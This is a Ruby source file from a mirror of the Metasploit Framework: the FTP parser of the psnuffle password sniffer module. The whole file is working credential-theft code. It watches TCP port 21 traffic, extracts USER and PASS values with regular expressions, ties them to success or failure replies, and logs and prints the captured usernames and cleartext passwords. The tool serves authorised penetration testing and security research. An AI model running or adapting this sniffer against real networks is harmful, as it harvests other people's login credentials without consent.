mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
79 lines
2.1 KiB
Ruby
Executable File
79 lines
2.1 KiB
Ruby
Executable File
# Psnuffle password sniffer add-on class for ftp
|
|
# part of psnuffle sniffer auxiliary module
|
|
#
|
|
# When db is available reports go into db
|
|
# Also incorrect credentials are sniffed but marked
|
|
# as unsuccessful logins... (Typos are common :-) )
|
|
#
|
|
|
|
class SnifferFTP < BaseProtocolParser
|
|
|
|
def register_sigs
|
|
self.sigs = {
|
|
:banner => /^(220\s*[^\r\n]+)/i,
|
|
:user => /^USER\s+([^\s]+)/i,
|
|
:pass => /^PASS\s+([^\s]+)/i,
|
|
:login_pass => /^(230\s*[^\n]+)/i,
|
|
:login_fail => /^(5\d\d\s*[^\n]+)/i,
|
|
:bye => /^221/
|
|
}
|
|
end
|
|
|
|
def parse(pkt)
|
|
# We want to return immediatly if we do not have a packet which is handled by us
|
|
return unless pkt.is_tcp?
|
|
return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
|
|
s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
|
|
s[:sname] ||= "ftp"
|
|
|
|
self.sigs.each_key do |k|
|
|
# There is only one pattern per run to test
|
|
matched = nil
|
|
matches = nil
|
|
|
|
if(pkt.payload =~ self.sigs[k])
|
|
matched = k
|
|
matches = $1
|
|
end
|
|
|
|
case matched
|
|
|
|
when :login_fail
|
|
if(s[:user] and s[:pass])
|
|
report_auth_info(s.merge({:active => false}))
|
|
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
|
|
|
s[:pass] = ""
|
|
return
|
|
end
|
|
|
|
when :login_pass
|
|
if(s[:user] and s[:pass])
|
|
report_auth_info(s)
|
|
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
|
# Remove it form the session objects so freeup memory
|
|
sessions.delete(s[:session])
|
|
return
|
|
end
|
|
|
|
when :banner
|
|
# Because some ftp server send multiple banner we take only the first one and ignore the rest
|
|
if not (s[:info])
|
|
s[:info] = matches
|
|
report_service(s)
|
|
end
|
|
|
|
when :bye
|
|
sessions.delete(s[:session])
|
|
|
|
when nil
|
|
# No matches, no saved state
|
|
else
|
|
sessions[s[:session]].merge!({k => matches})
|
|
end # end case matched
|
|
|
|
end # end of each_key
|
|
end # end of parse
|
|
end
|
|
|